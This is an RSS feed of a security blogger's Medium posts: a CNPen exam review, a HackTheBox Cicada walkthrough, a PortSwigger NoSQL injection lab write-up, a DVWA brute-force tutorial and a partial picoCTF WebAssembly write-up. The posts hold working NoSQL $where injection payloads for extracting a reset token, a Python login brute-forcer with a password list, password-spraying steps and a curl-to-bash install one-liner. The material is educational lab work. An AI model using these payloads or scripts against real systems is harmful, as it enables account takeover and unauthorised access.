<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmedmazhar on Medium]]></title>
        <description><![CDATA[Stories by Ahmedmazhar on Medium]]></description>
        <link>https://medium.com/@ahmedmazhar666?source=rss-4b29fd17385b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*PZdxy4-hCv_bdMAu</url>
            <title>Stories by Ahmedmazhar on Medium</title>
            <link>https://medium.com/@ahmedmazhar666?source=rss-4b29fd17385b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 11:49:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmedmazhar666/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CNPen — My Actual Experience]]></title>
            <link>https://medium.com/@ahmedmazhar666/cnpen-my-actual-experience-7fb0a1fa4e05?source=rss-4b29fd17385b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fb0a1fa4e05</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[networkpenetrationtesting]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[the-secops-group]]></category>
            <dc:creator><![CDATA[Ahmedmazhar]]></dc:creator>
            <pubDate>Sun, 12 Apr 2026 18:55:28 GMT</pubDate>
            <atom:updated>2026-04-12T18:55:28.586Z</atom:updated>
            <content:encoded><![CDATA[<p>I recently took the <strong>Certified Network Pentester (CNPen)</strong>, and I want to share a realistic overview of how it felt from my perspective.</p><p>This certification is very different from web-focused exams. It’s centered more around <strong>network and infrastructure-level thinking</strong>, not just finding bugs in applications.</p><h3>⚙️ How the Exam Felt</h3><p>The exam includes:</p><ul><li>Practical scenarios</li><li>Multiple-choice questions</li><li>Some flag-based challenges</li></ul><p>You’re given <strong>4 hours and 15 mins</strong>, and the key challenge isn’t just solving — it’s <strong>prioritizing and thinking efficiently under time pressure</strong>.</p><p>The lab access is provided through a VPN by The SecOps Group, so having a stable connection is important.</p><h3>🔍 What I Personally Faced</h3><p>From my experience, the exam leaned more toward:</p><ul><li><strong>Active Directory concepts and attack paths</strong></li><li><strong>Privilege Escalation fundamentals (Windows/Linux)</strong></li><li><strong>Basic network enumeration mindset</strong></li><li><strong>OSINT-related thinking</strong></li><li><strong>Some cloud/security misconfiguration concepts</strong></li></ul><p>It wasn’t about going deep into one area — it was more about <strong>broad understanding + quick decision-making</strong>.</p><h3>🧩 What Stood Out to Me</h3><ul><li>The exam tests your <strong>mindset more than tools</strong></li><li>You need to recognize attack paths quickly, not overthink</li><li>It rewards people who have <strong>hands-on practice (labs/CTFs)</strong></li></ul><h3>⚠️ What I’d Do Better</h3><ul><li>Spend less time over-analyzing simple questions</li><li>Move faster between sections</li><li>Trust my first instinct more in some cases</li></ul><h3>💸 Is It Worth It?</h3><p>From my point of view:</p><ul><li>It’s <strong>affordable and accessible</strong></li><li>Recognized in paths like Synack</li><li>A solid way to <strong>benchmark your current level in network pentesting</strong></li></ul><h3>🎯 Final Thoughts</h3><p>CNPen is not about memorization or following steps.</p><p>It’s more like:</p><blockquote><em>“Can you think like a pentester in a limited time?”</em></blockquote><p>If you’ve been practicing Active Directory, enumeration, and privilege escalation — this exam will reflect your level clearly.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fb0a1fa4e05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cicada HTB Machine]]></title>
            <link>https://medium.com/@ahmedmazhar666/cicada-htb-machine-877a1f97e961?source=rss-4b29fd17385b------2</link>
            <guid isPermaLink="false">https://medium.com/p/877a1f97e961</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Ahmedmazhar]]></dc:creator>
            <pubDate>Sat, 15 Feb 2025 19:08:49 GMT</pubDate>
            <atom:updated>2025-02-15T19:08:49.069Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*nLOIEYY0KGsJFUFZnM4BtA.png" /></figure><p><strong>Enumeration Phase</strong></p><p>nmap scan:</p><pre># Nmap 7.95 scan initiated Mon Jan 20 05:57:56 2025 as: /usr/lib/nmap/nmap --privileged -sVC -p- -Pn -n -oN nmapRes 10.10.11.35<br>Nmap scan report for 10.10.11.35<br>Host is up (0.15s latency).<br>Not shown: 65522 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-20 18:12:18Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb<br>| Not valid before: 2024-08-22T20:24:16<br>|_Not valid after:  2025-08-22T20:24:16<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb<br>| Not valid before: 2024-08-22T20:24:16<br>|_Not valid after:  2025-08-22T20:24:16<br>|_ssl-date: TLS randomness does not represent time<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb<br>| Not valid before: 2024-08-22T20:24:16<br>|_Not valid after:  2025-08-22T20:24:16<br>3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb<br>| Not valid before: 2024-08-22T20:24:16<br>|_Not valid after:  2025-08-22T20:24:16<br>|_ssl-date: TLS randomness does not represent time<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>56704/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2025-01-20T18:13:16<br>|_  start_date: N/A<br>|_clock-skew: 6h59m59s<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Mon Jan 20 06:13:56 2025 -- 1 IP address (1 host up) scanned in 960.27 seconds</pre><p>I noticed SMB (445) open so I started investigating it further using smbclient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*n2SoJYuNH6D8jvzs4mLZOg.png" /></figure><p>I found 2 interesting shares (HR and DEV).</p><p>since DEV gave me access denied and HR is available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4CUmmw0h8SDwMszENb4nyg.png" /></figure><p>I started going through HR and found this file.</p><p>After downloading the file I found a password for a new hire, but no username was specified on the note.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AnYI-j6CVIqeOpyfa1HaKA.png" /></figure><p>so the next step is to find valid users on the AD using ‘netexec’ tool using guest as username and empty string as the password.</p><pre>netexec smb 10.10.11.35 -u guest -p &#39;&#39; --rid-brute</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*M5RVLvIu9t0VngEPhVtqpw.png" /></figure><p>Then, all usernames found were added to a users.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/206/1*RNUGxF1oSERoP2YL8U6a6g.png" /></figure><p>tried to find the correct combination of username and password by doing password spraying.</p><p>It turns out that the password found on the HR note was for user “michael.wrightson”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ABqShCLOlRsRUFsLSUehvg.png" /></figure><p>then I used the credentials found with netexec tool and found a password for user david.orelious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ys83JQK_pRRvirBonU0JyA.png" /></figure><p>tried to access shares with these credentials and I got a hit on one of the shares.</p><p>after downloading the file and investigating it further. I found new credentials for emily.oscars</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6JQv-Mml2LDraOfSwTa7pA.png" /></figure><p>tried to access it with evil-winrm and i got a hit this time.</p><p>then got the user.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O91uSanM2Sx-4hbMb4wQUw.png" /></figure><p>I tried to check current user permissions.</p><p>This article helped me in the Privilege Escalation phase in the machine: <a href="https://starlox.medium.com/windows-privesc-with-sebackupprivilege-enable-b9e949219caf">https://starlox.medium.com/windows-privesc-with-sebackupprivilege-enable-b9e949219caf</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=877a1f97e961" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting NoSQL Operator Injection to Extract Unknown Fields — PortSwigger Lab Writeup]]></title>
            <link>https://medium.com/@ahmedmazhar666/exploiting-nosql-operator-injection-to-extract-unknown-fields-portswigger-lab-writeup-0fd86ba49df0?source=rss-4b29fd17385b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0fd86ba49df0</guid>
            <category><![CDATA[nosql-injection]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[Ahmedmazhar]]></dc:creator>
            <pubDate>Mon, 14 Oct 2024 10:32:25 GMT</pubDate>
            <atom:updated>2024-10-14T10:32:25.382Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting NoSQL Operator Injection to Extract Unknown Fields — PortSwigger Lab Writeup</h3><p>In this writeup, I’ll walk you through how I exploited a NoSQL injection vulnerability to extract unknown fields in a MongoDB-based application using operator injection techniques. This lab from PortSwigger highlights how applications using NoSQL databases can be vulnerable to injection attacks, similar to SQL injection but with their own unique twists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*7DV_DOvnaji3vUi-ipKh_w.png" /></figure><p>The challenge in this lab involves a login form vulnerable to NoSQL injection, specifically operator injection. Our goal is to exploit this flaw to extract unknown field names from the database by crafting malicious queries.</p><p>First, open Burp Suite and configure your proxy to log every request sent to analyze all the requests made.</p><ul><li>Access the lab, go to “My Account,” and attempt to log in with incorrect credentials.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*yMkKpsEhSuXbsk3vbuHYMA.png" /></figure><ul><li>Then, go to the “Forgot Password” page, enter “carlos,” click submit, and leave the screen as is.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*CkhoyrnmPe5CqsztzrsI-Q.png" /></figure><ul><li>Go to Burp Suite’s history to analyze the HTTP requests. Find the POST login request and the GET request for the “Forgot Password” page, and send both to the repeater for manipulation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKq4aM-2TNGQ8JxJ5Aiq6Q.png" /></figure><p>In the POST login request, notice the username and password parameters. Try injecting a true statement in the password field like this:</p><pre>{<br>&quot;username&quot;:&quot;carlos&quot;,<br>&quot;password&quot;:{<br>  &quot;$ne&quot;:&quot;fail&quot;<br>  }<br>}</pre><p>Notice that the response status code is 200 OK, and the error message says “Account locked, please reset your password.” This confirms that the true statement has been executed successfully, and the application is vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qJh95gIkJKEa2BXO3d3uNw.png" /></figure><h3>Test JavaScript Injection Vulnerability</h3><p>Now, let’s check if the application is vulnerable to JavaScript injection. Add &quot; $where&quot;: &quot;0&quot; as an additional parameter in the JSON data, like this:</p><pre>{&quot;username&quot;:&quot;carlos&quot;,&quot;password&quot;:{&quot;$ne&quot;:&quot;fail&quot;}, &quot;$where&quot;: &quot;0&quot;}</pre><p>Send the request. Notice that you receive an Invalid username or password error message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Pgt2fWKAVh5n1wXWYnYAQ.png" /></figure><p>Change &quot;$where&quot;: &quot;0&quot; to &quot;$where&quot;: &quot;1&quot;, then resend the request. Notice that you receive an Account locked error message. This indicates that the JavaScript in the $where clause is being evaluated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BIpgNE9n7yMtPPLRaHhHxw.png" /></figure><h3>Brute Force Field Discovery</h3><p>Now, we can brute-force the database using the $where clause with this payload:</p><pre>&quot;$where&quot;:&quot;Object.keys(this)[0].match(&#39;^.{0}a.*&#39;)&quot;</pre><p>This payload leverages MongoDB’s $where clause to execute JavaScript. It uses Object.keys(this) to retrieve field names from the current document and selects the first field [0]. The .match(&#39;^.{0}a.*&#39;) regex checks if the field name starts with the letter &quot;a.&quot; This allows the attacker to discover field names by testing for specific patterns.</p><p>Send this payload to the intruder and set the target on the &#39;{0}&#39; and the &#39;a&#39;. Make the attack type &quot;Cluster Bomb.&quot;</p><p>In the Payloads tab:</p><ul><li>For Payload Set 1, select Payload Type: Numbers (from 0 to 20, step 1).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*4uxnwYoE18tqr4u0DZoCug.png" /></figure><ul><li>For Payload Set 2, use a simple list or brute forcer, ensuring to include all lowercase and uppercase characters, along with numbers from 0 to 9.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*_MHiRJJaxvRJBb0On19tdg.png" /></figure><p>Start the attack, then filter by Payload 1 (lowest values at the top) and by length (highest at the top) to see the column name listed in Payload 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Bq-NBBL2J01egR0hhgNSQ.png" /></figure><p>Change the first 0 in the payload to 1 and repeat the attack to discover the second column:</p><pre>{&quot;username&quot;:&quot;carlos&quot;,&quot;password&quot;:{&quot;$ne&quot;:&quot;test&quot;},<br>&quot;$where&quot;:&quot;Object.keys(this)[1].match(&#39;^.{§0§}§a§.*&#39;)&quot;}</pre><p>By using the same filtering method, you can see that Payload 2 reveals “username.” Continue brute-forcing until you reach index 4 to find “newPwdTkn.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AgTMriIkFmWXHzjTeSHK5g.png" /></figure><h3>Extracting the Token</h3><p>Now that we’ve identified the hidden field, we need to retrieve the token to reset Carlos’s password. Modify the payload slightly to extract the token:</p><pre>{&quot;username&quot;:&quot;carlos&quot;,&quot;password&quot;:{&quot;$ne&quot;:&quot;test&quot;},<br>&quot;$where&quot;:&quot;this.unlockToken.match(&#39;^.{§0§}§a§.*&#39;)&quot;}</pre><p>This payload selects the hidden field and retrieves the token. The token is 4a7b8c31e755b5c1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6kwyRJLabqhPcR1fXW-Nlg.png" /></figure><p>Now, go to the “Forgot Password” GET request and add the parameter newPwdTkn. Send the request to observe the response. You’ll receive an &quot;Invalid token&quot; error. Replace the token with the one you retrieved, and send the request again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mvskq3TFtzNRysCKGpTZPA.png" /></figure><p>You should now receive a 200 OK response prompting you to enter a new password for Carlos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ro0jdiEA1Mo7efU2PFwv1Q.png" /></figure><p>Right-click the response in Burp Suite, choose “Show response in browser,” and click “Copy.” Paste the copied URL into your browser’s address bar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*tthGG73e4ldQPkzaEeXkDQ.png" /></figure><p>Enter the new password twice, then log in with the username “carlos” and the password you just created. The lab is now solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NhQKaJxp5nIDLcjE-FYzFA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0fd86ba49df0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bruteforcing Login.php page in DVWA in Python]]></title>
            <link>https://medium.com/@ahmedmazhar666/bruteforcing-login-php-page-in-dvwa-in-python-147b6cb32bf9?source=rss-4b29fd17385b------2</link>
            <guid isPermaLink="false">https://medium.com/p/147b6cb32bf9</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[install-dvwa]]></category>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Ahmedmazhar]]></dc:creator>
            <pubDate>Wed, 04 Sep 2024 22:09:17 GMT</pubDate>
            <atom:updated>2024-09-04T22:48:00.241Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم ورحمه الله وبركاته</p><p><strong>Introduction:</strong> First, we need to set up the Damn Vulnerable Web Application (DVWA) by downloading and configuring it from the official source:</p><p><a href="https://github.com/digininja/DVWA">DVWA GitHub Repository</a><br>You can install it using this one-liner command:</p><pre>sudo bash -c &quot;$(curl - fail - show-error - silent - location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)&quot;</pre><p>The script will ask for your MySQL username and password. In most cases, the username will be root with no password. Simply press Enter if there is no password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*eYerhhV7Jz26ClTydvhMFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j8OFpYnY_hPyUqXFljKPrA.png" /></figure><p>Once DVWA is configured successfully, you’ll be provided with the URL to access it along with your credentials. After copying and pasting the link into your browser, you should see the DVWA login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*rM7QRmyZ1PYWYKkKBJ1Dtw.png" /></figure><p><strong>Step 1: Setting Up Burp Suite</strong> Start Burp Suite after configuring the proxy using FoxyProxy. Enter the correct login credentials and intercept the request. Upon inspection, I found a hidden CSRF token parameter called user_token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*7eCZtozaE2ObrrqLZAQ4ZA.png" /></figure><p>Forward the request and send it to the repeater (Ctrl+R), then send the request again. The server responds with a 302 Found redirection. Following this redirection, you&#39;ll notice that a new GET request is made by the client to fetch the index.php page, which indicates that the credentials are correct.</p><p><strong>Step 2: Testing with Incorrect Credentials</strong> I repeated the scenario using incorrect credentials and observed that the GET request was directed to login.php. The response showed the login page with an error message stating that the CSRF token is incorrect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SBm5Qm1xRvF7VE48alfW0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NtjWvKeJGlVIiWuSxsit9Q.png" /></figure><p><strong>Conclusion:</strong> I noticed that the CSRF token (user_token) is a one-time-use token. Therefore, to successfully brute-force the login.php page, we need to handle the one-time-use token and correctly follow the redirection. If the redirection leads to index.php, it indicates that the password is correct.</p><p>the Bruteforcer script:</p><pre>import requests<br>from bs4 import BeautifulSoup<br><br><br>url = &quot;http://192.168.1.16/DVWA/login.php&quot;<br><br>passwords = [&quot;123456&quot;, &quot;123456789&quot;, &quot;12345678&quot;, &quot;12345&quot;, &quot;1234567&quot;, <br>             &quot;admin&quot;, &quot;qwerty&quot;, &quot;letmein&quot;, &quot;welcome&quot;, &quot;1234&quot;, &quot;passw0rd&quot;, <br>             &quot;monkey&quot;, &quot;iloveyou&quot;, &quot;dragon&quot;, &quot;sunshine&quot;, &quot;password&quot;, &quot;master&quot;, &quot;trustno1&quot;, <br>             &quot;123qwe&quot;, &quot;abc123&quot;]<br><br># Start a session to maintain cookies and handle redirects<br>session = requests.Session()<br><br>def get_csrf_token(session, url):<br>    # Get the login page first to extract the CSRF token<br>    login_page = session.get(url)<br>    soup = BeautifulSoup(login_page.content, &#39;html.parser&#39;)<br><br>    # Extract CSRF token from the login form<br>    csrf_token_input = soup.find(&#39;input&#39;, {&#39;name&#39;: &#39;user_token&#39;})<br>    if csrf_token_input:<br>        return csrf_token_input[&#39;value&#39;]<br>    else:<br>        print(&quot;CSRF token not found. Check the HTML structure.&quot;)<br>        exit()<br><br># Brute-force login attempts<br>for password in passwords:<br>    # Get a fresh CSRF token before each login attempt<br>    csrf_token = get_csrf_token(session, url)<br>    print(f&quot;Trying password: {password}&quot;)<br><br>    data = {<br>        &#39;username&#39;: &#39;admin&#39;,<br>        &#39;password&#39;: password,<br>        &#39;Login&#39;: &#39;Login&#39;,<br>        &#39;user_token&#39;: csrf_token<br>    }<br><br>    response = session.post(url, data=data, allow_redirects=False)<br><br>    # Handle the redirection<br>    if response.status_code == 302:<br>        redirect_url = response.headers.get(&#39;Location&#39;)<br>        if redirect_url:<br>            # Handle relative redirect URLs<br>            if not redirect_url.startswith(&#39;http&#39;):<br>                redirect_url = f&quot;http://192.168.1.16/DVWA/{redirect_url}&quot;<br>            final_response = session.get(redirect_url)<br><br>            if &quot;Logout&quot; in final_response.text:<br>                print(f&quot;[SUCCESS] Password found: {password} Against User Admin (Ahmed Mazhar)&quot;)<br>                break<br>            else:<br>                print(f&quot;[Trying {password} Against User Admin (Ahmed Mazhar)] - Failed&quot;)<br>        else:<br>            print(&quot;Redirect URL not found in response headers.&quot;)<br>    else:<br>        print(f&quot;[Trying {password} Against User Admin (Ahmed Mazhar)] - No redirection, failed login.&quot;)<br>else:<br>    print(&quot;Brute-force attack failed. No matching password found.&quot;)</pre><h3>Core Functions Explained</h3><h3>get_csrf_token Function:</h3><ol><li><strong>Session GET Request:</strong><br>This function starts by fetching the login page content using a GET request through the session. It establishes the initial connection and retrieves the login page for further analysis.</li><li><strong>Parsing HTML:</strong><br>The HTML content of the login page is parsed using BeautifulSoup, which allows us to navigate and search through the HTML structure efficiently.</li><li><strong>Extract CSRF Token:</strong><br>The function searches for the hidden CSRF token input field within the login form. This token is essential for each login attempt. If the token is found, its value is returned. If not, the function prints an error message and stops further execution, signaling that something might be wrong with the HTML structure or page content.</li></ol><h3>Brute-force Loop:</h3><ol><li><strong>Iterates through Password List:</strong><br>The loop iterates through each password in the predefined list of common passwords, attempting to log in with each one.</li><li><strong>Fetches New CSRF Token:</strong><br>Before each login attempt, a fresh CSRF token is fetched to ensure that the token is valid and up-to-date, as DVWA uses one-time tokens.</li><li><strong>Print Password Attempt:</strong><br>The script outputs the current password being tried, allowing you to track the progress of the brute-force attack.</li></ol><h3>Data Payload:</h3><ol><li><strong>Prepare POST Data:</strong><br>The data dictionary is constructed with the username (admin), the current password, the Login button value, and the CSRF token. This data will be sent in the POST request to simulate a login attempt.</li><li><strong>POST Request:</strong><br>The login attempt is made by sending a POST request with the prepared data. allow_redirects=False is used to prevent automatic following of redirects, giving us control over the process.</li></ol><h3>Redirection Handling:</h3><ol><li><strong>Check Status Code:</strong><br>If the server responds with a 302 status code, it indicates a redirection, which usually happens after a successful login.</li><li><strong>Handle Relative URLs:</strong><br>If the redirect URL is relative, it’s converted to an absolute URL by appending the base DVWA URL.</li><li><strong>Follow Redirect:</strong><br>A GET request is sent to the redirected URL, which is either the index page (successful login) or the login page again (failed login).</li></ol><h3>Login Check:</h3><ol><li><strong>Successful Login:</strong><br>If the final response contains “Logout,” it indicates that the login was successful. The script prints a success message and stops further attempts.</li><li><strong>Failed Login:</strong><br>If “Logout” is not found, it indicates a failed login attempt, and the script continues with the next password.</li><li><strong>Redirect URL Not Found:</strong><br>If the Location header is missing in the response, it means there was no redirection, and the script notifies you of this.</li><li><strong>No Redirection:</strong><br>If the status code is not 302, the login attempt failed without any redirection, likely due to incorrect credentials.</li></ol><h3>Script Output:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*24rZzkwzB5Y8DEbG7-88YA.png" /></figure><h3>Conclusion</h3><p>In this article, we’ve walked through the process of setting up DVWA and crafting a Python script to perform a brute-force attack against its login page. By leveraging Python’s requests library and the powerful HTML parsing capabilities of BeautifulSoup, we successfully automated the task of handling CSRF tokens and analyzing server responses to identify successful logins.</p><p>While this demonstration highlights the potential vulnerabilities of web applications to brute-force attacks, it’s important to note that such activities should only be carried out in legal and ethical contexts, such as penetration testing under proper authorization or on deliberately vulnerable platforms like DVWA.</p><p>This exercise serves as a reminder of the importance of implementing robust security measures, including strong password policies, multi-factor authentication, and proper session management.</p><p>Thank you for following along, and I hope this writeup has provided you with valuable insights into web security and Python scripting. Feel free to leave any questions or feedback in the comments below!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=147b6cb32bf9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF solving Some Assembly Required 3]]></title>
            <link>https://medium.com/@ahmedmazhar666/picoctf-solving-some-assembly-required-3-48e8da5ecc11?source=rss-4b29fd17385b------2</link>
            <guid isPermaLink="false">https://medium.com/p/48e8da5ecc11</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[webassembly]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ahmedmazhar]]></dc:creator>
            <pubDate>Sun, 07 Jul 2024 02:31:59 GMT</pubDate>
            <atom:updated>2024-07-07T02:31:59.206Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم ورحمة الله وبركاته</p><p>just like some assemply 1 &amp; 2</p><p>it starts like that</p><figure><img alt="simple page of the challenge contains input field and a submit button" src="https://cdn-images-1.medium.com/max/605/1*JxWCvnFQ1fKP8Vsw-priRw.png" /></figure><p>after inspecting the source code we found a js file in the head tag.</p><p>we found this sussy file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*J0I6X65nIZ688am9_bBldw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/122/1*Ffy8UtrfdXc8FqB1A0PlKg.png" /></figure><p>after downloading it and opening it we found nothing so pass it to the kali.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*_P1-pVyIUE_pBeZfN-NH7A.png" /></figure><p>it is a <strong>WebAssembly</strong> (<strong>Wasm</strong>) file that defines a portable binary-code format and a corresponding text format for executable programs.</p><p>so to decombile this assembly file we used <strong>wasm-decombile</strong> from <a href="https://github.com/WebAssembly/wabt"><strong><em>wabt</em></strong></a><strong><em> tool</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*v8aZ_SLTp2DW_VyxCFQE2A.png" /></figure><h4>result:</h4><pre>export memory memory(initial: 2, max: 0);<br><br>global g_a:int = 66864;<br>export global input:int = 1072;<br>export global key:int = 1067;<br>export global dso_handle:int = 1024;<br>export global data_end:int = 1328;<br>export global global_base:int = 1024;<br>export global heap_base:int = 66864;<br>export global memory_base:int = 0;<br>export global table_base:int = 1;<br><br>table T_a:funcref(min: 1, max: 1);<br><br>data d_nAdbc2ea(offset: 1024) =<br>  &quot;\9dn\93\c8\b2\b9A\8b\c2\90\8bd\c7\9e\c9\88b\95\91\90\dac\c5\95\95\d82\c4&quot;<br>  &quot;\c5\92\8ee\92\96\97\8ca\c4\93\92\90\00\00&quot;;<br>data d_b(offset: 1067) = &quot;\f1\a7\f0\07\ed&quot;;<br><br>export function wasm_call_ctors() {<br>}<br><br>export function strcmp(a:int, b:int):int {<br>  var c:int = g_a;<br>  var d:int = 32;<br>  var e:int = c - d;<br>  e[6]:int = a;<br>  e[5]:int = b;<br>  var f:int = e[6]:int;<br>  e[4]:int = f;<br>  var g:int = e[5]:int;<br>  e[3]:int = g;<br>  loop L_b {<br>    var h:ubyte_ptr = e[4]:int;<br>    var i:int = 1;<br>    var j:int = h + i;<br>    e[4]:int = j;<br>    var k:int = h[0];<br>    e[11]:byte = k;<br>    var l:ubyte_ptr = e[3]:int;<br>    var m:int = 1;<br>    var n:int = l + m;<br>    e[3]:int = n;<br>    var o:int = l[0];<br>    e[10]:byte = o;<br>    var p:int = e[11]:ubyte;<br>    var q:int = 255;<br>    var r:int = p &amp; q;<br>    if (r) goto B_c;<br>    var s:int = e[11]:ubyte;<br>    var t:int = 255;<br>    var u:int = s &amp; t;<br>    var v:int = e[10]:ubyte;<br>    var w:int = 255;<br>    var x:int = v &amp; w;<br>    var y:int = u - x;<br>    e[7]:int = y;<br>    goto 